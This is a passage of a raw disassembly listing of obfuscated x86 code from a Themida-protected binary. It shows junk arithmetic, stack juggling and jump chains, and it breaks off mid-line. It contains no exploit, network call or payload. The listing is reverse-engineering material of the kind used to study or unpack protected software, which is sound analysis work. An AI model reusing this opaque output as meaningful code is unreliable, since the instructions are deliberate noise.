esp, 4 push ebp add dword ptr [esp], 327627E7h jmp loc_55DA96 ; --------------------------------------------------------------------------- loc_56B8F9: ; CODE XREF: Themida_:00561BB9j mov [esp], eax mov eax, 1DBB3F9Dh shl eax, 4 jmp loc_56DADE ; --------------------------------------------------------------------------- loc_56B909: ; CODE XREF: Themida_:00563E00j add esp, 4 and edx, 1F9A6C8Ch inc edx xor edx, 53B30618h and edx, 418B2EC3h push ecx push esi push 7D2A08F2h jmp loc_560EDA ; --------------------------------------------------------------------------- loc_56B92B: ; CODE XREF: Themida_:005673ACj push eax mov eax, 7691591Ah not eax xor eax, 0DDA8FA7Eh jmp loc_56BAE9 ; --------------------------------------------------------------------------- loc_56B93D: ; CODE XREF: Themida_:0056773Dj add eax, 1 dec eax sub esp, 4 jmp loc_55F5C2 ; --------------------------------------------------------------------------- mov ax, [esp] push 2993h mov [esp], eax push esp mov eax, [esp] push ebp mov ebp, esp push ebx mov ebx, 74A450A8h push 1B5Ch mov [esp], edi mov edi, 74A450ACh xor ebx, edi mov edi, [esp] add esp, 4 jmp loc_5655F4 ; --------------------------------------------------------------------------- loc_56B981: ; CODE XREF: Themida_:0056FB72j pop edi add edi, 4 push ecx jmp loc_564385 ; --------------------------------------------------------------------------- loc_56B98E: ; CODE XREF: Themida_:0055E68Cj sub ebx, esi pop esi add ebx, eax add ebx, 292C5779h jmp loc_564B59 ; --------------------------------------------------------------------------- loc_56B99E: ; CODE XREF: Themida_:0056625Dj pop ebp jmp loc_5630A9 ; --------------------------------------------------------------------------- loc_56B9A4: ; CODE XREF: Themida_:00562103j mov ecx, esp add ecx, 4 push 5C93h jmp loc_56C88A ; --------------------------------------------------------------------------- loc_56B9B6: ; CODE XREF: Themida_:00567A9Ej push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_56C3F2 ; --------------------------------------------------------------------------- loc_56B9CD: ; CODE XREF: Themida_:00563824j push dword ptr [esp] pop edi add esp, 4 sub esp, 4 jmp loc_5608FE ; --------------------------------------------------------------------------- loc_56B9E2: ; CODE XREF: Themida_:0056DF4Ej xor cl, bh push dword ptr [esp] pop ebx add esp, 4 push edx mov dl, 0C1h jmp loc_5616F8 ; --------------------------------------------------------------------------- loc_56B9F6: ; CODE XREF: Themida_:00570C9Aj xor [esp+4], edx jmp loc_55F9C0 ; --------------------------------------------------------------------------- loc_56B9FF: ; CODE XREF: Themida_:00560D17j sub ebx, 1 xchg edi, ebx not edi xchg edi, ebx push eax push eax mov eax, esp jmp loc_562BD8 ; --------------------------------------------------------------------------- loc_56BA11: ; CODE XREF: Themida_:0056AFD6j pop edx push edi mov edi, 3AE260ABh and edi, 121C0C33h shr edi, 6 jmp loc_56F77F ; --------------------------------------------------------------------------- loc_56BA26: ; CODE XREF: Themida_:00560266j add edx, esi mov esi, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx jmp loc_57243D ; --------------------------------------------------------------------------- loc_56BA39: ; CODE XREF: Themida_:0055DA97j sub eax, 327627E7h jmp loc_563CC1 ; --------------------------------------------------------------------------- loc_56BA43: ; CODE XREF: Themida_:0056A990j add edi, 22E26E6Ah sub edi, edx push ebp mov ebp, 22E26E6Ah jmp loc_56FD6E ; --------------------------------------------------------------------------- loc_56BA56: ; CODE XREF: Themida_:0055F5DAj mov edi, 1B8D24F0h add edi, 5FFE3582h not edi shr edi, 6 add edi, 423158C3h add eax, edi pop edi jmp loc_565E0E ; --------------------------------------------------------------------------- loc_56BA74: ; CODE XREF: Themida_:0055EA7Fj push ecx pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56BA7B: ; CODE XREF: Themida_:005635B3j mov esi, 4 add edx, 61376924h jmp loc_56AD5E ; --------------------------------------------------------------------------- loc_56BA8B: ; CODE XREF: Themida_:0056CF9Aj add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ebp jmp loc_56A371 ; --------------------------------------------------------------------------- loc_56BA9A: ; CODE XREF: Themida_:00572928j pop esp mov [esp], edx jmp loc_572AC2 ; --------------------------------------------------------------------------- loc_56BAA3: ; CODE XREF: Themida_:0056FDCDj mov ecx, 23546D24h add esi, ecx mov ecx, [esp] add esp, 4 add esi, eax push edi mov edi, 23546D24h sub esi, edi pop edi push 250Fh mov [esp], eax mov eax, 6ACD680Eh or eax, 4AC6707Dh push ecx mov ecx, 15A154DDh jmp loc_56716C ; --------------------------------------------------------------------------- loc_56BADB: ; CODE XREF: Themida_:0056B11Ej mov [esp], ebp push ebx mov ebx, 55415B05h jmp loc_570B14 ; --------------------------------------------------------------------------- loc_56BAE9: ; CODE XREF: Themida_:0056B938j sub ecx, eax mov eax, [esp] add esp, 4 jmp loc_560522 ; --------------------------------------------------------------------------- loc_56BAF6: ; CODE XREF: Themida_:00561716j push edi push eax jmp loc_55FD4D ; --------------------------------------------------------------------------- loc_56BAFD: ; CODE XREF: Themida_:00566AC8j mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_5637D5 ; --------------------------------------------------------------------------- loc_56BB0C: ; CODE XREF: Themida_:00564AC6j pop ebp push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub eax, 30CD3CF2h sub eax, edi add eax, 30CD3CF2h push dword ptr [esp] pop edi add esp, 4 jmp loc_55E1F4 ; --------------------------------------------------------------------------- loc_56BB44: ; CODE XREF: Themida_:0056762Cj mov [esp], ecx jmp loc_572415 ; --------------------------------------------------------------------------- loc_56BB4C: ; CODE XREF: Themida_:00568B04j pop edi mov edx, [esp] jmp loc_560EB7 ; --------------------------------------------------------------------------- loc_56BB55: ; CODE XREF: Themida_:0056E361j mov ebp, 2AE82478h and ebp, 585A25DEh dec ebp jmp loc_56E9E9 ; --------------------------------------------------------------------------- loc_56BB66: ; CODE XREF: Themida_:00561FF9j mov ebx, 64011B83h shl ebx, 3 jmp loc_55D62C ; --------------------------------------------------------------------------- loc_56BB73: ; CODE XREF: Themida_:0056DFCCj add eax, 54A372E4h shl eax, 4 or eax, 530478BDh push 0 sub [esp], eax pop eax push edx push 200741h pop edx add eax, 222E254Ah sub eax, edx jmp loc_55ECE7 ; --------------------------------------------------------------------------- loc_56BB9C: ; CODE XREF: Themida_:005721DFj mov ecx, 270051B8h or ecx, 52051B31h sub ecx, 61E127BDh mov esi, ecx mov ecx, [esp] add esp, 4 sub ecx, esi pop esi mov edx, ecx pop ecx jmp loc_56E8EB ; --------------------------------------------------------------------------- loc_56BBC3: ; CODE XREF: Themida_:00570D1Aj sub esp, 4 jmp loc_567447 ; --------------------------------------------------------------------------- loc_56BBCE: ; CODE XREF: Themida_:0055E6F1j mov ebp, [esp] add esp, 4 pop esi xor eax, ecx pop ecx push 5C6Eh mov [esp], edi jmp loc_55E340 ; --------------------------------------------------------------------------- loc_56BBE8: ; CODE XREF: Themida_:00563CA0j push esp push dword ptr [esp] pop ecx add esp, 4 push 19AAh mov [esp], edi mov edi, 775E3E1Bh or edi, 0BEE0A4Eh xor edi, 4C7D1B09h dec edi push ebp mov ebp, 1B6D7FDCh xor edi, ebp pop ebp push eax mov eax, 784E6642h inc eax xor eax, 5CA9778Dh or eax, 82A4BCCh xor eax, 22AA0AF4h jmp loc_55FF83 ; --------------------------------------------------------------------------- loc_56BC31: ; CODE XREF: Themida_:0056031Aj add esp, 2 push dx mov dh, 0B6h jmp loc_56BD31 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 0DCEh jmp loc_55DE33 ; --------------------------------------------------------------------------- loc_56BC4A: ; CODE XREF: Themida_:0056899Dj push dword ptr [esp+4] jmp loc_562837 ; --------------------------------------------------------------------------- loc_56BC53: ; CODE XREF: Themida_:0055DE2Ej push edx mov edx, 4B4743A9h xor edx, 396D31F9h jmp loc_5641D7 ; --------------------------------------------------------------------------- loc_56BC64: ; CODE XREF: Themida_:00561649j xor bh, ah xor ah, bh not bh push edx mov dl, bh jmp loc_568598 ; --------------------------------------------------------------------------- loc_56BC72: ; CODE XREF: Themida_:005611AAj shr ebx, 4 xor ebx, 653DA042h add edi, ebx jmp loc_568572 ; --------------------------------------------------------------------------- loc_56BC82: ; CODE XREF: Themida_:0055EFE9j xor edx, 68A80292h sub edi, edx jmp loc_570EAA ; --------------------------------------------------------------------------- loc_56BC8F: ; CODE XREF: Themida_:0055FE6Fj dec esi or esi, 4B713272h dec esi neg esi add esi, 0C241C0C1h jmp loc_5689DF ; --------------------------------------------------------------------------- loc_56BCA4: ; CODE XREF: Themida_:0056C0BDj sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebx, 235A5C96h shr ebx, 1 sub ebx, 1E514C13h sub ebx, 0BC4339B4h jmp loc_55E89E ; --------------------------------------------------------------------------- loc_56BCD5: ; CODE XREF: Themida_:00571C33j xor [esp], ebp xor ebp, [esp] pop esp add esi, ebx sub esi, 326849F2h mov ebx, [esp] add esp, 4 jmp loc_571DFA ; --------------------------------------------------------------------------- loc_56BCEF: ; CODE XREF: Themida_:0056B66Bj add esp, 4 sub ebx, esi pop esi pop ecx push esi jmp loc_5628A0 ; --------------------------------------------------------------------------- loc_56BCFF: ; CODE XREF: Themida_:0055DC93j mov eax, esi pop esi add eax, 137E05D3h and ecx, eax mov eax, [esp] add esp, 4 push esi jmp loc_56E3D6 ; --------------------------------------------------------------------------- loc_56BD18: ; CODE XREF: Themida_:005656DFj add eax, 300345DDh or edx, eax pop eax shl edx, 6 push eax mov eax, 79BD4AE7h add edx, eax pop eax jmp loc_567E93 ; --------------------------------------------------------------------------- loc_56BD31: ; CODE XREF: Themida_:0056BC38j push edx mov dh, 60h add ch, dh jmp loc_55DA80 ; --------------------------------------------------------------------------- loc_56BD3B: ; CODE XREF: Themida_:005603AEj sub ax, bx push eax mov eax, esp add eax, 4 sub eax, 2 sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], bx jmp loc_568238 ; --------------------------------------------------------------------------- loc_56BD6B: ; CODE XREF: Themida_:005706A8j add esp, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_56D205 ; --------------------------------------------------------------------------- loc_56BD84: ; CODE XREF: Themida_:0055E2DEj pop si jmp loc_56511E ; --------------------------------------------------------------------------- loc_56BD8B: ; CODE XREF: Themida_:00566A49j pop eax jmp loc_56F5D4 ; --------------------------------------------------------------------------- loc_56BD91: ; CODE XREF: Themida_:005722ABj mov esi, 3EA407C8h dec esi push eax mov eax, 5907293Ch shr eax, 3 sub eax, 0EC26AA9Dh and esi, eax pop eax jmp loc_55E590 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DEE3 loc_56BDAD: ; CODE XREF: sub_55DEE3+626Bj xchg ah, byte ptr [esp+4+var_4] not ah xchg ah, byte ptr [esp+4+var_4] pop edx sub dl, 0FFh not dl add dl, 23h add al, 0ABh sub al, 0C4h sub al, dl add al, 0C4h jmp sub_562A0A ; END OF FUNCTION CHUNK FOR sub_55DEE3 ; --------------------------------------------------------------------------- loc_56BDCB: ; CODE XREF: Themida_:00568F9Ej mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_56B481 ; --------------------------------------------------------------------------- loc_56BDE0: ; CODE XREF: Themida_:00563B0Cj pop ebp sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_571C28 ; --------------------------------------------------------------------------- loc_56BDF4: ; CODE XREF: Themida_:00566AF2j add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_56B3DC ; --------------------------------------------------------------------------- loc_56BE06: ; CODE XREF: Themida_:0056C558j mov ch, 80h add al, 0C5h add al, ch push ecx mov cl, 71h sub cl, 0EFh shr cl, 5 dec cl inc cl dec cl sub cl, 3Eh sub al, cl pop ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov dl, 59h shl dl, 1 push 4557h mov [esp], ebx push ecx mov cl, 0B8h mov bh, cl mov ecx, [esp] jmp loc_566808 ; --------------------------------------------------------------------------- loc_56BE49: ; CODE XREF: Themida_:0055F58Aj add ecx, edi pop edi jmp loc_563072 ; --------------------------------------------------------------------------- loc_56BE51: ; CODE XREF: Themida_:00561225j mov eax, [esp] push esi push esp pop esi push ecx mov ecx, 4 add esi, ecx mov ecx, [esp] add esp, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5631DD ; --------------------------------------------------------------------------- loc_56BE76: ; CODE XREF: Themida_:0056A32Fj mov [esp], ebp push edx push 34690116h push dword ptr [esp] pop edx add esp, 4 inc edx push ecx mov ecx, 167113Dh add ecx, 7544482Bh jmp loc_568F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_56BE98: ; CODE XREF: sub_562A0A-29B4j add dl, 0CCh sub dl, ch sub dl, 0CCh jmp loc_570C2B ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_56BEA5: ; CODE XREF: Themida_:0056FF9Aj mov eax, 2F847475h or ebx, eax pop eax neg ebx sub ebx, 50210185h sub ebp, ebx jmp loc_55F338 ; --------------------------------------------------------------------------- loc_56BEBC: ; CODE XREF: Themida_:0056A5AAj push ebp mov ebp, esp add ebp, 4 push edi push ebx mov ebx, 34651822h jmp loc_569F6B ; --------------------------------------------------------------------------- loc_56BED1: ; CODE XREF: Themida_:00566DABj add ebp, 2C350547h dec ebp xor ebp, 40A5644Ch jmp loc_56F52C ; --------------------------------------------------------------------------- loc_56BEE3: ; CODE XREF: Themida_:0056FF50j xchg ecx, edx neg ecx xor edx, ecx xor ecx, edx xor edx, ecx jmp loc_56F486 ; --------------------------------------------------------------------------- loc_56BEF2: ; CODE XREF: Themida_:0056D743j add edx, ebp add edx, 3B3A4CBBh push edi jmp loc_5632CB ; --------------------------------------------------------------------------- loc_56BF00: ; CODE XREF: Themida_:0055D324j mov esp, [esp] movzx eax, al push dword ptr [edi+eax*4] push esi mov esi, 6C0F1F8Ah xor [esp+4], esi pop esi mov eax, [esp] add esp, 4 push ecx mov ecx, 0AB02959h push ebp jmp loc_564569 ; --------------------------------------------------------------------------- loc_56BF26: ; CODE XREF: Themida_:0056EFA4j add eax, edi jmp loc_56C792 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_56C5BC ; --------------------------------------------------------------------------- loc_56BF35: ; CODE XREF: Themida_:0055D5F8j push ebx jmp loc_569FBF ; --------------------------------------------------------------------------- loc_56BF3B: ; CODE XREF: Themida_:00561368j push ebx mov ebx, 4E4C2DA0h or ebx, 31873009h neg ebx jmp loc_564B86 ; --------------------------------------------------------------------------- loc_56BF4E: ; CODE XREF: Themida_:00561313j mov [esp], esp add dword ptr [esp], 4 pop eax push esi mov esi, 1877356h shl esi, 1 add esi, 36D02F9Ch not esi push 45FAh mov [esp], ecx mov ecx, 4E733AC9h add esi, ecx pop ecx add esi, 0EB6BDB84h add eax, esi mov esi, [esp] add esp, 4 push ebp jmp loc_56E87F ; --------------------------------------------------------------------------- loc_56BF8D: ; CODE XREF: Themida_:00569588j mov edi, 1 sub ecx, edi pop edi push ecx jmp loc_563040 ; --------------------------------------------------------------------------- loc_56BF9B: ; CODE XREF: Themida_:0056F967j mov ebx, 5E0C4983h jmp loc_560C3E ; --------------------------------------------------------------------------- loc_56BFA5: ; CODE XREF: Themida_:0055F161j push esp pop ebx push ecx mov ecx, 4 jmp loc_55F3DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_56BFB2: ; CODE XREF: sub_59DB3D-3190Cj pop edi jmp loc_55EDD0 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56BFB8: ; CODE XREF: Themida_:005634D7j push edi mov edi, 4 add edx, 41AF1363h jmp loc_566839 ; --------------------------------------------------------------------------- loc_56BFC9: ; CODE XREF: Themida_:005645F8j pop esp add al, bl sub esp, 2 mov [esp], dx push ebx push ecx mov cl, 0C4h mov bh, cl pop ecx mov dh, bh jmp loc_5700E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_56BFE1: ; CODE XREF: sub_59DB3D-3D659j push edx mov edx, esp add edx, 4 add edx, 4 push edx push [esp+34h+var_32+2] pop edx pop dword ptr [esp+0] pop esp jmp loc_5697D7 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56BFFC: ; CODE XREF: Themida_:0055F8EFj xor eax, 43D1631Eh dec eax push ecx mov ecx, 5616081h sub ecx, 0F71A760Eh add eax, ecx pop ecx jmp loc_5658DF ; --------------------------------------------------------------------------- loc_56C016: ; CODE XREF: Themida_:0056C3C0j mov [esp], ecx push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 sub ebx, edi mov edi, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebx mov ecx, [esp] add esp, 4 mov eax, ecx jmp loc_570F1D ; --------------------------------------------------------------------------- loc_56C046: ; CODE XREF: Themida_:00567B6Ej pop ebx push edi mov edi, 527C2EBFh inc edi xor edi, 1EE65892h push eax mov eax, 0F18DC265h add edi, 2CF25A49h jmp loc_55FF93 ; --------------------------------------------------------------------------- loc_56C065: ; CODE XREF: Themida_:005639D1j shl ecx, 8 sub ecx, 1 add ecx, 34787996h push esi mov esi, 3EA2B491h sub ecx, esi pop esi jmp loc_572169 ; --------------------------------------------------------------------------- loc_56C082: ; CODE XREF: Themida_:0056207Bj dec bh xor bh, 89h mov ch, bh push dword ptr [esp] pop ebx add esp, 4 jmp loc_5668F4 ; --------------------------------------------------------------------------- loc_56C095: ; CODE XREF: Themida_:0056AE01j pop esp mov [esp], edx jmp loc_561BE3 ; --------------------------------------------------------------------------- loc_56C09E: ; CODE XREF: Themida_:005658E7j and eax, 281C1A6Eh push ebp mov ebp, 18D6229Ch add eax, ebp pop ebp push edi push 6A89h mov [esp], ebx push 0D1B02D0h mov ebx, [esp] jmp loc_56BCA4 ; --------------------------------------------------------------------------- loc_56C0C2: ; CODE XREF: Themida_:005728B7j mov edi, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 sub ebx, ecx jmp loc_56CC36 ; --------------------------------------------------------------------------- loc_56C0DE: ; CODE XREF: Themida_:0055E52Fj pop eax jmp loc_570A00 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56C0F4: ; CODE XREF: Themida_:0056280Ej mov dword ptr [edi+24h], 66895156h inc dword ptr [edi+24h] sub esp, 4 jmp loc_561AA6 ; --------------------------------------------------------------------------- loc_56C109: ; CODE XREF: Themida_:0056E9B5j shr eax, 6 push edi mov edi, 33040A35h push eax mov eax, 16A336DFh jmp loc_56136D ; --------------------------------------------------------------------------- loc_56C11D: ; CODE XREF: Themida_:0055D5C7j pop ebp add ebp, 4 jmp loc_56D68E ; --------------------------------------------------------------------------- loc_56C129: ; CODE XREF: Themida_:0055EE31j xor edi, ebp pop ebp add eax, edi pop edi add eax, 4 xchg eax, [esp] jmp loc_55F8AF ; --------------------------------------------------------------------------- loc_56C13A: ; CODE XREF: Themida_:0055EF19j pop edx jmp loc_5615FA ; --------------------------------------------------------------------------- loc_56C140: ; CODE XREF: Themida_:005648F6j popa popf jmp locret_56D046 ; --------------------------------------------------------------------------- loc_56C147: ; CODE XREF: Themida_:00572732j mov esi, 0C8F3CF8h xor esi, edi pop edi add esi, ebp push dword ptr [esp] pop ebp jmp loc_568D90 ; --------------------------------------------------------------------------- loc_56C15A: ; CODE XREF: Themida_:005689B0j mov cl, ah mov bh, cl jmp loc_55F608 ; --------------------------------------------------------------------------- loc_56C163: ; CODE XREF: Themida_:0056FFCFj sub ebx, 8453FC18h jmp loc_565EF5 ; --------------------------------------------------------------------------- loc_56C16E: ; CODE XREF: Themida_:0056FE03j pop esp shr ecx, 0 jmp loc_56F1AF ; --------------------------------------------------------------------------- loc_56C177: ; CODE XREF: Themida_:00571127j mov ah, dh pop edx pop ecx mov bh, 31h add bh, ah jmp loc_56999C ; --------------------------------------------------------------------------- loc_56C184: ; CODE XREF: Themida_:005713D6j neg dh xor dh, 0C2h shr dh, 4 shr dh, 3 sub dh, 0DBh and ch, dh pop edx add ch, 0F7h sub al, ch pop ecx jmp loc_567742 ; --------------------------------------------------------------------------- loc_56C1A0: ; CODE XREF: Themida_:00570285j push dword ptr [esp] pop ecx jmp loc_55D364 ; --------------------------------------------------------------------------- loc_56C1A9: ; CODE XREF: Themida_:0055DA7Bj mov ch, 0C4h jmp loc_56AF5A ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56C1BA: ; CODE XREF: Themida_:0056A02Bj mov edi, 6BFE538Eh jmp loc_5629B9 ; --------------------------------------------------------------------------- loc_56C1C4: ; CODE XREF: Themida_:00571457j mov [esp], edx jmp loc_56828C ; --------------------------------------------------------------------------- loc_56C1CC: ; CODE XREF: Themida_:0055F115j xor eax, 68D505C3h add eax, 114DE94Fh shl eax, 3 xchg eax, ebp inc ebp jmp loc_565DD2 ; --------------------------------------------------------------------------- loc_56C1E0: ; CODE XREF: Themida_:0055F78Ej add eax, ebp pop ebp sub eax, 6C66308Ah push 28FFh mov [esp], ecx mov ecx, 28EA467Eh jmp loc_566C85 ; --------------------------------------------------------------------------- loc_56C1FA: ; CODE XREF: Themida_:0056999Fj sub esp, 4 jmp loc_5709E3 ; --------------------------------------------------------------------------- loc_56C205: ; CODE XREF: Themida_:0055F508j mov ebx, 53B91EDCh mov eax, 0AC46E128h add eax, ebx pop ebx add ebx, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_562080 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_56C225: ; CODE XREF: sub_59DB3D-389B8j sub eax, 11C92AC6h add eax, edi add eax, 11C92AC6h jmp loc_56BFB2 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56C236: ; CODE XREF: Themida_:0056783Bj mov [esp], edx mov edx, 2 jmp loc_55E8ED ; --------------------------------------------------------------------------- loc_56C243: ; CODE XREF: Themida_:0056B6FEj sub ebx, 0FF25FB7Eh jmp loc_5697AC ; --------------------------------------------------------------------------- loc_56C24E: ; CODE XREF: Themida_:00563300j push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 jmp loc_57001B ; --------------------------------------------------------------------------- loc_56C260: ; CODE XREF: Themida_:0056F2ACj pop ebx add al, 0B7h sub al, bl push 6228h jmp loc_568DE3 ; --------------------------------------------------------------------------- loc_56C26F: ; CODE XREF: Themida_:00562880j add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub edi, 39504BEEh sub edi, eax add edi, 39504BEEh push dword ptr [esp] pop eax jmp loc_56D111 ; --------------------------------------------------------------------------- loc_56C296: ; CODE XREF: Themida_:0056FC74j pop eax add ebp, 572B7568h sub ebp, 0A9728EAEh add dword ptr [esp+4], 3315136Eh sub dword ptr [esp+4], 6A904E47h add [esp+4], ebp add dword ptr [esp+4], 6A904E47h sub dword ptr [esp+4], 3315136Eh jmp loc_565EB5 ; --------------------------------------------------------------------------- loc_56C2CC: ; CODE XREF: Themida_:0056190Bj add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_563EE8 ; --------------------------------------------------------------------------- loc_56C2E0: ; CODE XREF: Themida_:00560FFCj pop edx push esi push ebx push 4C6A4405h pop ebx push 1F46h mov [esp], edi jmp loc_562FD4 ; --------------------------------------------------------------------------- loc_56C2F6: ; CODE XREF: Themida_:0055FFEFj mov [esp], ebx jmp loc_5642D9 ; --------------------------------------------------------------------------- loc_56C2FE: ; CODE XREF: Themida_:0056A626j mov esi, esp add esi, 4 push ebp mov ebp, 5E22314Dh jmp loc_560241 ; --------------------------------------------------------------------------- loc_56C311: ; CODE XREF: Themida_:00568AAAj push 370Eh mov [esp], esi mov esi, 6DE4699Ch shr esi, 3 and esi, 156D7F5Fh or esi, 5B6E743Eh not esi xor esi, 7412B6Ah xor esi, 0A7D0A9ABh sub edi, esi pop esi jmp loc_55F856 ; --------------------------------------------------------------------------- loc_56C343: ; CODE XREF: Themida_:00564D7Ej shr ebx, 1 shr ebx, 2 add ebx, 96428E43h mov edi, ebx jmp loc_56A051 ; --------------------------------------------------------------------------- loc_56C355: ; CODE XREF: Themida_:0055F04Dj sub esp, 4 mov [esp], edi mov edi, 6F0F75D4h sub edi, 1 push esi push edx mov edx, 45F95E18h and edx, 925396Ah xor edx, 6BE659B0h mov esi, edx pop edx or edi, esi pop esi add edi, 0B1A0E9B8h or edx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_55F4D8 ; --------------------------------------------------------------------------- loc_56C398: ; CODE XREF: Themida_:00567F1Fj add esp, 4 sub esp, 4 jmp loc_567990 ; --------------------------------------------------------------------------- loc_56C3A6: ; CODE XREF: Themida_:00571B03j pop eax add eax, 0EB0ED8C8h xor ebx, eax pop eax mov eax, ebx jmp loc_5725CA ; --------------------------------------------------------------------------- loc_56C3B6: ; CODE XREF: Themida_:00562359j sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_56C016 ; --------------------------------------------------------------------------- loc_56C3C5: ; CODE XREF: Themida_:0056729Ej dec edx sub edx, 10D47592h sub ecx, edx pop edx add edi, ecx jmp loc_5719FC ; --------------------------------------------------------------------------- loc_56C3D6: ; CODE XREF: Themida_:005616E7j add ebx, 4 push edi jmp loc_56213F ; --------------------------------------------------------------------------- loc_56C3E2: ; CODE XREF: Themida_:005708C5j sub esp, 4 mov [esp], edx mov edx, 67EB7F36h jmp loc_56D9C7 ; --------------------------------------------------------------------------- loc_56C3F2: ; CODE XREF: Themida_:0056B9C8j pop esp mov [esp], ebp push eax mov eax, 2DD56387h mov ebp, eax pop eax push edi jmp loc_57272D ; --------------------------------------------------------------------------- loc_56C405: ; CODE XREF: Themida_:005601B8j add ecx, 0D4288D3Ch add ebp, ecx jmp loc_571C38 ; --------------------------------------------------------------------------- loc_56C412: ; CODE XREF: Themida_:00570B7Aj mov ebx, 115D4D3Ch neg ebx inc ebx jmp loc_561D49 ; --------------------------------------------------------------------------- loc_56C41F: ; CODE XREF: Themida_:00568DDEj xchg esi, [esp] pop esp add esp, 4 pop dword ptr [esp] push eax mov eax, 1 add edx, 1C7E50F1h push 31C6h jmp loc_562774 ; --------------------------------------------------------------------------- loc_56C442: ; CODE XREF: Themida_:00564417j or ebx, 49FD1137h add ebx, 71654CA8h add edx, ebx pop ebx inc edx jmp loc_56D218 ; --------------------------------------------------------------------------- loc_56C457: ; CODE XREF: Themida_:005603B6j add cl, bl pop ebx sub cl, 0CAh xor dh, cl pop ecx jmp loc_56B09E ; --------------------------------------------------------------------------- loc_56C465: ; CODE XREF: Themida_:0056DDE6j add ecx, 4 xchg ecx, [esp] pop esp sub eax, 9047650h mov ecx, eax mov eax, [esp] push esi push edx push esp pop edx jmp loc_5606A7 ; --------------------------------------------------------------------------- loc_56C482: ; CODE XREF: Themida_:0055DBD4j sub ebp, 4 jmp loc_56D83B ; --------------------------------------------------------------------------- loc_56C48D: ; CODE XREF: Themida_:0056948Bj mov ch, 38h mov ah, 0F3h sub ah, ch pop ecx jmp loc_5652D1 ; --------------------------------------------------------------------------- loc_56C499: ; CODE XREF: Themida_:0056D1D4j push ebp sub esp, 4 jmp loc_561001 ; --------------------------------------------------------------------------- loc_56C4A5: ; CODE XREF: Themida_:0055D727j push edi mov edi, 5E0F0F03h shr edi, 2 xor edi, 75573F2Ah jmp loc_568245 ; --------------------------------------------------------------------------- loc_56C4B9: ; CODE XREF: Themida_:00569690j push esi push edx mov edx, 231A17C6h jmp loc_56E580 ; --------------------------------------------------------------------------- loc_56C4C5: ; CODE XREF: Themida_:005647ECj push edi push ebp mov ebp, 6DD64552h mov edi, ebp pop ebp jmp loc_56C857 ; --------------------------------------------------------------------------- loc_56C4D4: ; CODE XREF: Themida_:0056EDCEj push esi mov esi, 72983079h sub ebx, esi pop esi add ebx, edi add ebx, 72983079h push dword ptr [ebx] sub dword ptr [esp], 417C1987h mov ecx, [esp] add esp, 4 push ebx mov ebx, 317B7836h shl ebx, 2 neg ebx shr ebx, 4 add ebx, 3DDAF795h add ecx, ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push edi push ebx jmp loc_55EC06 ; --------------------------------------------------------------------------- loc_56C52C: ; CODE XREF: Themida_:0056A2DAj shr ebx, 2 or ebx, 28A836CBh jmp loc_5662A3 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56C54A: ; CODE XREF: Themida_:0056310Fj pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_56BE06 ; --------------------------------------------------------------------------- loc_56C55D: ; CODE XREF: Themida_:005600D7j add al, cl add al, 48h sub al, 22h mov ecx, [esp] push ebp mov ebp, esp push ebx jmp loc_55EC27 ; --------------------------------------------------------------------------- loc_56C56F: ; CODE XREF: Themida_:0055E899j add ebx, edx mov edx, [esp] jmp loc_56552C ; --------------------------------------------------------------------------- loc_56C579: ; CODE XREF: Themida_:0055EA28j sub al, 30h add al, 55h shr al, 3 jmp loc_572AE1 ; --------------------------------------------------------------------------- loc_56C585: ; CODE XREF: Themida_:0056D599j push eax mov eax, 4 jmp loc_55E5F7 ; --------------------------------------------------------------------------- loc_56C590: ; CODE XREF: 